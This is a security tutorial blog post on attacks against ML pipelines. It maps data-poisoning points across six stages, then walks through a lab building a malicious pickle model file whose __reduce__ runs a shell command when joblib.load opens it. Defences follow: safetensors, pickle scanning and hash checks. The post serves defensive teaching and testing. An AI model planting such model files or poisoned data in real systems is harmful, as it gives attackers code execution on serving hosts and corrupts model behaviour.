AI Data Attacks: Poisoning and Malicious Model Files

Q: What is an AI data attack?

It is any attack that targets the data or the model files behind an AI system, rather than the input you send at run time. It corrupts what the model learns, or replaces the file the model is loaded from, so the damage is baked in before a single prediction is made.

Q: Can a machine learning model file really run code?

Yes, if it is a Python pickle. A .pkl file is a program, not just weights, and pickle.load runs it as it rebuilds the object. An attacker who can write to your model storage can hand you a file that runs a command the moment your serving code loads it.

AI data attacks across an ML pipeline, from poisoned training data to a malicious model file

A model file isn't just a bag of numbers. If it's a Python pickle, it's a program, and loading it runs that program on your server. An attacker who can write one file into your model storage doesn't need to poison any training data. They hand you a file, and your own serving code runs their command the second it opens it.

That's one route. The slower one is to corrupt the data the model learns from, so the model comes out wrong. This post walks the 6 stages of an AI data pipeline, shows where each attack lands, then you'll build the model-file attack in a lab and watch it run code on load. By the end you can name which stage to test, and store models so this can't bite you.

If you retrain models on data you don't fully control, or pull model files from a bucket or a registry, this one's for you.

Two ways to attack an AI: poison the training data so the model learns wrong, or replace the model file so loading it runs attacker code — Two routes to a compromised model: corrupt what it learns, or replace the file it loads from.

The AI data pipeline, and why every stage is a target

An AI model is only as trustworthy as the data behind it. A pipeline is the set of steps that moves data from where it's born to where the model uses it. The exact tools change from one team to the next, but the shape is nearly always the same 6 stages.

Your data arrives from web apps, databases, sensors and scrapers, as JSON logs and JPEG images, often through Kafka. It lands in storage: an object store like AWS S3, or a database like Postgres or MongoDB. pandas or Spark clean and reshape it. A job on PyTorch, TensorFlow or Amazon SageMaker turns Parquet features into a model. You deploy it behind Flask or FastAPI, in Docker on Kubernetes. Once live, feedback flows back and Airflow retrains it on a schedule.

The pipeline, in the order data moves

Collect

Kafka, scrapers, forms, feeds

▸

Store

S3, Postgres, model files

▸

Process

Spark, pandas, feature code

▸

Train

PyTorch, SageMaker

▸

Deploy

Flask, Docker, Kubernetes

▸

Retrain

Feedback loop, Airflow

Six stages. Bad data or a bad file at any one of them flows downstream into the model.

Here's what makes this work: the pipeline doesn't check the data it takes in. It trusts it. A fake review through the real API looks like a real one, so bad data enters at collection and flows through processing, into training and out to production. The model can't tell an attacker's pattern from a real one. It just learns what it's shown.

Where each attack lands, stage by stage

AI data attacks happen before or around training, well before any prediction, which makes them a different family from the run-time attacks you might know. A crafted input to a live model is an evasion attack. Getting a model to leak what it memorised is a privacy attack. Data attacks are the 3rd family: they corrupt the training data or the model files, so the problem's baked in before the model answers a single question. It's the same lesson as the four-components breakdown, seen from the data side: the pipeline, not just the model, is the target.

Each stage has its own version of the attack. The table below maps them onto 2 real systems: an e-commerce recommender that scores Amazon-style reviews, and a healthcare model that reads DICOM scans.

AI data attacks by pipeline stage

Stage	What the attacker targets	Example
Collect	The input data itself	Fake reviews through the real API; altered DICOM metadata
Store	Stored data or the model file	Edit the S3 dataset; swap the .pkl in the bucket
Process	The cleaning and feature code	Change the Spark job so it flips labels
Train	The training job and its data	Learn a backdoor from already-poisoned data
Deploy	The path that fetches the model	Replace the model as it is pulled for serving
Retrain	The feedback loop	Drip poisoned feedback so each version drifts

The same objective, a compromised model, reached at six different points.

Three of these deserve a plain word each, because they're the ones you'll forget.

Processing. Your raw data can be spotless and the attack still works, because the attacker changes the code that transforms the data instead of the data itself. A single Spark job that flips positive to negative during sentiment scoring turns clean reviews into poisoned labels. Your storage audit on AWS S3 shows nothing. Only the processed dataset is bad, and that's what trains the model.

Retraining. A system that learns from user feedback is built to accept new data forever, which is exactly what an attacker needs. They drip in feedback that each looks normal, it piles up, the scheduled retrain absorbs it, and your model drifts version by version. It degrades slowly instead of failing loudly, so it reads as normal change rather than an attack.

Storage of the model. This is the sharp one, and the rest of the post is about it. A model is a file too. If it's a pickle, that file can carry code, and write access to where it lives is enough to skip poisoning altogether. Let's build it.

What you need for the lab

Small and cheap: a laptop, Python 3 and 4 packages. Everything here runs against files you create, on a machine you own, in about 10 minutes. Don't point any of this at a system you're not authorised to test.

Spin up a clean virtual environment so nothing leaks into your system Python, then install the pieces. scikit-learn and joblib build and save the model; safetensors and picklescan are for the fix at the end.

python3 -m venv lab && . lab/bin/activate
pip install scikit-learn joblib safetensors picklescan

What we're proving is simple: a pickle file is a set of instructions for rebuilding a Python object, and pickle.load follows them to the letter. One of them, __reduce__, lets an object say how it should be rebuilt. An attacker fills that in with a call to os.system, and now "rebuilding the object" means "run this command".

Build a model file that runs code

3 short scripts. The 1st trains an honest model and saves it. The 2nd plays the attacker and writes a malicious file in its place. The 3rd plays your serving code and loads the model, which is where it all goes wrong.

Step 1. Train and save an honest model. Put this in build_model.py. It fits a logistic-regression classifier on 50 rows with 3 features and saves it with joblib, which uses pickle underneath, the way most tutorials tell you to.

build_model.py

          from sklearn.linear_model import LogisticRegression
          import joblib, numpy as np
           
          X = np.random.rand(50, 3); y = (X[:, 0] > 0.5).astype(int)
          clf = LogisticRegression().fit(X, y)
          joblib.dump(clf, "model.pkl")
          print("saved model.pkl")
        

A normal, harmless model saved as a pickle. This is the file the attacker will replace.

python3 build_model.py

Step 2. Play the attacker and overwrite the file. Put this in swap_model.py. It defines a class whose __reduce__ returns a call to os.system, then pickles it to model.pkl. In a real attack, this is the file that lands in your S3 bucket or registry under the same name as the real model.

swap_model.py

          import pickle, os
           
          class Evil:
              def __reduce__(self):
                  cmd = "id > /tmp/pwned.txt"
                  return (os.system, (cmd,))
           
          with open("model.pkl", "wb") as f:
              pickle.dump(Evil(), f)
          print("model.pkl replaced")
        

The payload is harmless on purpose: it writes the output of id to a file, so you can prove code ran without doing any damage.

python3 swap_model.py

Step 3. Load it, the way your serving code would. Put this in serve.py. It does the one line every serving app does, load the model to make predictions with it. Nothing here is unusual. That's the point.

serve.py

          import joblib
          model = joblib.load("model.pkl")   # attacker code runs on this line
          print("model loaded, ready to serve")
        

The load line is where it happens. No eval, no obvious danger, just loading a model.

python3 serve.py

Check it worked

The payload wrote the output of id to a file. If that file exists and holds your user details, the attacker's command ran inside your process, from nothing but a model load.

cat /tmp/pwned.txt

expected output

          $ python3 serve.py
          model loaded, ready to serve
          $ cat /tmp/pwned.txt
          uid=1000(you) gid=1000(you) groups=1000(you)
        

Expected output. The model "loaded" and, in the same breath, ran a shell command as you.

Swap id for anything that runs as your process and the picture gets ugly fast: a compromised .pkl in S3, a Flask API on port 5000 that loads it, and the attacker has code execution on the box. The same trick with a PyTorch .pt file in a clinical system puts them inside the hospital network. Bad predictions were never the worst case.

When a model load goes wrong

A few things trip people up the first time.

No file at /tmp/pwned.txt. On Windows that path and id don't exist. Use whoami > %TEMP%\\pwned.txt instead, or run the lab under WSL or a Linux VM, which is closer to where models actually get served.

The payload fires on save instead of on load. If you see the command run during swap_model.py, you probably called the class instead of passing the class instance, or you returned os.system(cmd) from __reduce__ rather than the tuple (os.system, (cmd,)). Return the tuple. __reduce__ hands pickle a function and its arguments to call later, on load, and not right now.

joblib versus pickle. They're the same risk. joblib uses pickle under the hood, so joblib.load executes the payload exactly like pickle.load does. Don't assume one's safer than the other.

Fix it, and detect it

The clean fix is to stop shipping code as data. Store the weights in a format that has no code path, so loading physically can't run anything. safetensors, from Hugging Face, does exactly that: it holds tensors and nothing else, and there's no __reduce__ to abuse.

pickle

              joblib.dump(clf, "model.pkl")
              joblib.load("model.pkl")
              # load can execute arbitrary code
            

safetensors

              from safetensors.numpy import save_file, load_file
              save_file({"coef": clf.coef_}, "model.safetensors")
              load_file("model.safetensors")
              # weights only, no code path on load
            

Same weights, two files. Only one of them can run a command when you open it.

When you're stuck with a pickle, because a library only ships that format, treat the file like any other untrusted download. 2 checks pay off before you ever load it.

Scan the pickle. picklescan, and fickling from Trail of Bits, read the file without executing it and flag dangerous imports like os.system and eval. They aren't perfect, but they catch the loud cases for free.

picklescan -p model.pkl

Verify integrity before loading. Keep a known-good hash for the real model and check it every time, so a swapped file is caught before it reaches load. In a pipeline this becomes a signature check the serving box refuses to skip.

sha256sum model.pkl

Around the file, the controls are ordinary. Lock down write access to model storage with tight S3 permissions so an attacker can't drop a file, and keep that storage off your application boxes. For the poisoning half, validate submitted data before it trains anything, rate-limit and log who can feed the model, and keep provenance so a bad batch can be pulled back out.

What to check on a test

When you're handed an AI system to assess, walk the same 6 stages and ask one short question at each. That keeps you from testing only the chat box and calling it done.

AI DATA ATTACK SURFACE

Collect: can a low-priv user submit training data?

Store: who can write to the dataset and the model?

Process: can the transform code be changed?

Train: is the dataset verified before training?

Deploy: is the model integrity-checked on pull?

Retrain: can one user skew the feedback loop?

One question per stage, so nothing gets skipped.

The full stage-by-stage version lives in my AI pentest notes. The high-value findings are 2: model files loaded with no integrity check, and input channels that reach training with no validation, rate limit or way to trace who sent what. If you can write a model file the serving box will load, you've likely got code execution, well beyond a bad prediction. Say that plainly in the report.

Mapping it to OWASP and SAIF

2 frameworks name these risks, and it's worth using their current wording so a client can look it up. The OWASP Top 10 for LLM Applications renumbered all 10 entries in its 2025 edition, a big change from the 2023 and 2024 lists. The old LLM03: Training Data Poisoning is gone as a separate entry; poisoning now lives under LLM04:2025 Data and Model Poisoning, which folds in the model-file side too, and the model supply chain sits under LLM03:2025 Supply Chain. If your notes still say LLM03 for poisoning, they're on the 2023 list.

Google's Secure AI Framework, SAIF, splits the same ground into 4 named risks that line up neatly with the stages above: Data Poisoning for the collection and retraining attacks, Model Source Tampering for the swapped file in storage, and Model Deployment Tampering for the model replaced on its way to serving. Same attacks, one shared vocabulary to write findings against.

Quick recap

AI data attacks hit the training data or the model files, before or around training, well before any prediction.
The pipeline has 6 stages, and it trusts what it takes in, so bad data or a bad file at any stage flows downstream into the model.
A Python pickle model file is code. pickle.load and joblib.load run it, so a swapped .pkl can mean remote code execution, well past a wrong answer.
Store weights in safetensors so loading has no code path, and verify a hash or signature before you load anything.
Scan pickles with picklescan, lock down write access to model storage, and validate data that feeds retraining.
Use current wording: OWASP LLM04:2025 Data and Model Poisoning, and SAIF Data Poisoning, Model Source Tampering and Model Deployment Tampering.

Check this today

Open the code that loads your model in production and find the load line. If it's pickle.load, joblib.load or torch.load on a file from a bucket or a registry, ask 2 questions: could anyone but you write that file, and is its hash checked before it's opened? If the answers are "maybe" and "no", you've found the thing to fix first.

If you run this in your own lab, or you're hardening a real pipeline and want a second pair of eyes on the load path, I'm always happy to compare notes on LinkedIn.

References

OWASP Top 10 for LLM Applications (2025) - the current list, with LLM04 Data and Model Poisoning and LLM03 Supply Chain.
Google Secure AI Framework (SAIF) risks - Data Poisoning, Model Source Tampering, Model Deployment Tampering.
Python pickle documentation - the security warning and how __reduce__ works.
picklescan and fickling - tools that inspect a pickle without running it.

FAQ

What is an AI data attack?

It's any attack that targets the data or the model files behind an AI system, rather than the input you send at run time. It corrupts what the model learns, or replaces the file the model loads from, so the damage is baked in before a single prediction is made.

Can a machine learning model file really run code?

Yes, if it's a Python pickle. A .pkl file is a program rather than plain weights, and pickle.load runs it while it rebuilds the object. An attacker who can write to your model storage hands you a file that runs a command the moment your serving code loads it.

How do I stop a malicious model file?

Store weights in safetensors, which has no code path, so loading can't execute anything. Verify a hash or signature before you load, scan pickles with picklescan or fickling, lock down write access to model storage, and never load a model from a source you don't control.

What is the difference between data poisoning and a model file attack?

Data poisoning corrupts the training data so the model learns the wrong thing, which needs a retrain to take effect. A model file attack skips all of that and swaps the trained file directly, so the payload lands the next time the model's loaded.

Red Teaming ML: The Backdoor Accuracy Can't See (poison the data and watch the accuracy score miss it)
Red Teaming Generative AI: The Model Is the Wrong Target (why the pipeline, not the model, is the attack surface)
Browse the whole AI / LLMs track

AI Data Attacks: Poison the Data, or Just Swap the Model File